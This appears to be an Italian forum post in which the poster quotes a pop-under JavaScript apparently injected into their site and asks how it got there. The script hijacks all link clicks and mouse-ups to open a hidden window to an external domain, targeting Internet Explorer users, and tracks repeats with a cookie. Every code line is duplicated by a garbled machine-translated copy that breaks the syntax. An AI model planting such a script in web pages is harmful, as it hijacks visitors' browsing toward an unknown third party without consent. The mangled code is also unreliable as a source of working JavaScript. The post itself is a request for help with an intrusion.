Codice PHP:
<script language="JavaScript">
if (navigator.cookieEnabled){ if (navigator.cookieEnabled) (
var pop_under = null; pop_under var = null;
var pop_cookie_name = "advmaker_komap"; pop_cookie_name var = "advmaker_komap";
var pop_timeout = 720; var pop_timeout = 720;
function pop_cookie_enabled(){ pop_cookie_enabled funzione () (
var is_enabled = false; var is_enabled = false;
if (!window.opera && !navigator.cookieEnabled) if (! window.opera & &! navigator.cookieEnabled)
return is_enabled; is_enabled ritorno;
if (typeof document.cookie == 'string') if (typeof document.cookie == 'string')
if (document.cookie.length == 0) { if (document.cookie.length == 0) (
document.cookie = "test"; document.cookie = "test";
is_enabled = document.cookie == 'test'; is_enabled = document.cookie == 'test';
document.cookie = ''; document.cookie ='';
} else { Altre categorie ()
is_enabled = true; is_enabled = true;
} )
return is_enabled; is_enabled ritorno;
} )
function pop_getCookie(name){ pop_getCookie funzione (nome) (
var cookie = " " + document.cookie; var cookie = "" + document.cookie;
var search = " " + name + "="; var ricerca = "" + nome + "=";
var setStr = null; setStr var = null;
var offset = 0; var offset = 0;
var end = 0; var end = 0;
if (cookie.length > 0){ if (cookie.length> 0) (
offset = cookie.indexOf(search); offset = cookie.indexOf (ricerca);
if (offset != -1){ if (offset! = -1) (
offset += search.length; offset + = search.length;
end = cookie.indexOf(";", offset); fine = cookie.indexOf (";", offset);
if (end == -1) { if (fine == -1) (
end = cookie.length; fine = cookie.length;
} )
setStr = unescape(cookie.substring(offset, end)); setStr = unescape (cookie.substring (offset, end));
} )
} )
return(setStr); return (setStr);
} )
function pop_setCookie (name, value){ pop_setCookie funzione (nome, valore) (
document.cookie = name + "=" + escape(value) + "; expires=Friday,31-Dec-50 23:59:59 GMT; path=/;"; document.cookie = name + "=" + escape (valore) + "= Venerdì scade ,31-dic-50 23:59:59 GMT; path =/;";
} )
function show_pop(){ show_pop funzione () (
var pop_wnd = "http://hayjgfxes.com/ld/grobin_pt/"; pop_wnd var = "http://hayjgfxes.com/ld/grobin_pt/";
var fea_wnd = "scrollbars=›esizable=1,toolbar=1,location=1,menubar=1,status=1,directories=0"; fea_wnd var = "scrollbars => esizable = 1, toolbar = 1, location = 1, menubar = 1, status = 1, directories = 0";
var need_open = true; var need_open = true;
if (document.onclick_copy != null) document.onclick_copy(); if (document.onclick_copy! = null) document.onclick_copy ();
if (document.body.onbeforeunload_copy != null)document.body.onbeforeunload_copy(); if (document.body.onbeforeunload_copy! = null) document.body.onbeforeunload_copy ();
if (pop_under != null){ if (pop_under! = null) (
if (!pop_under.closed)need_open = false; if (! pop_under.closed) need_open = false;
} )
if (need_open){ if (need_open) (
if (pop_cookie_enabled()){ if (pop_cookie_enabled ()) (
val = pop_getCookie(pop_cookie_name); val = pop_getCookie (pop_cookie_name);
if (val != null) { if (val! = null) (
now = new Date(); ora = new Date ();
val2 = new Date(val); Val2 = new Date (Val);
utc32 = Date.UTC(now.getFullYear(), now.getMonth(), now.getDate(), now.getHours(), now.getMinutes(), now.getSeconds()); utc32 = Date.UTC (now.getFullYear (), now.getMonth (), now.getDate (), now.getHours (), now.getMinutes (), now.getSeconds ());
utc2 = Date.UTC(val2.getFullYear(), val2.getMonth(), val2.getDate(), val2.getHours(), val2.getMinutes(), val2.getSeconds()); utc2 = Date.UTC (val2.getFullYear (), val2.getMonth (), val2.getDate (), val2.getHours (), val2.getMinutes (), val2.getSeconds ());
if ( ( utc32 - utc2 ) / 1000 < pop_timeout*60){ if ((utc32 - utc2) / 1000 <pop_timeout * 60) (
need_open = false; need_open = false;
} )
} )
} )
} )
if (need_open){ if (need_open) (
under = window.open(pop_wnd, "", fea_wnd); sotto = window.open (pop_wnd, "", fea_wnd);
under.blur(); under.blur ();
window.focus(); window.focus ();
if (pop_cookie_enabled()){ if (pop_cookie_enabled ()) (
now = new Date(); ora = new Date ();
pop_setCookie(pop_cookie_name, now); pop_setCookie (pop_cookie_name, ora);
} )
} )
} )
function pop_init(){ pop_init funzione () (
var ver = parseFloat(navigator.appVersion); var ver = parseFloat (navigator.appVersion);
var ver2 = (navigator.userAgent.indexOf("Windows 95")>=0 || navigator.userAgent.indexOf("Windows 98")>=0 || navigator.userAgent.indexOf("Windows NT")>=0 )&&(navigator.userAgent.indexOf('Opera') == -1)&&(navigator.appName != 'Netscape') &&(navigator.userAgent.indexOf('MSIE') > -1) &&(navigator.userAgent.indexOf('SV1') > -1) &&(ver >= 4); var ver2 = (navigator.userAgent.indexOf ( "Windows 95")> = 0 | | navigator.userAgent.indexOf ( "Windows 98")> = 0 | | navigator.userAgent.indexOf ( "Windows NT")> = 0 ) & & (navigator.userAgent.indexOf ( 'Opera') == -1) & & (navigator.appName! = 'Netscape') & & (navigator.userAgent.indexOf ( 'MSIE')> -1) & & (navigator.userAgent . indexOf ( 'SV1')> -1) & & (cfr.> = 4);
if (ver2){ if (ver2) (
if (document.links){ if (document.links) (
for (var i=0; i<document.links.length; i++){ for (var i = 0; i <document.links.length; + + i) (
if (document.links[i].target != "_blank"){ if (document.links [i]. bersaglio! = "_blank") (
document.links[i].onclick_copy = document.links[i].onclick; document.links [i]. onclick_copy = document.links [i]. onclick;
document.links[i].onclick = show_pop; document.links [i]. onclick = show_pop;
} )
} )
} )
} )
document.onclick_copy = document.onclick; document.onclick_copy = document.onclick;
document.onmouseup = show_pop; document.onmouseup = show_pop;
} )
pop_init(); pop_init ();
} )
</script> </ Script>
Sembra impossibile trovare info in tal senso... la mia curiosità è sapere da dove sono passati.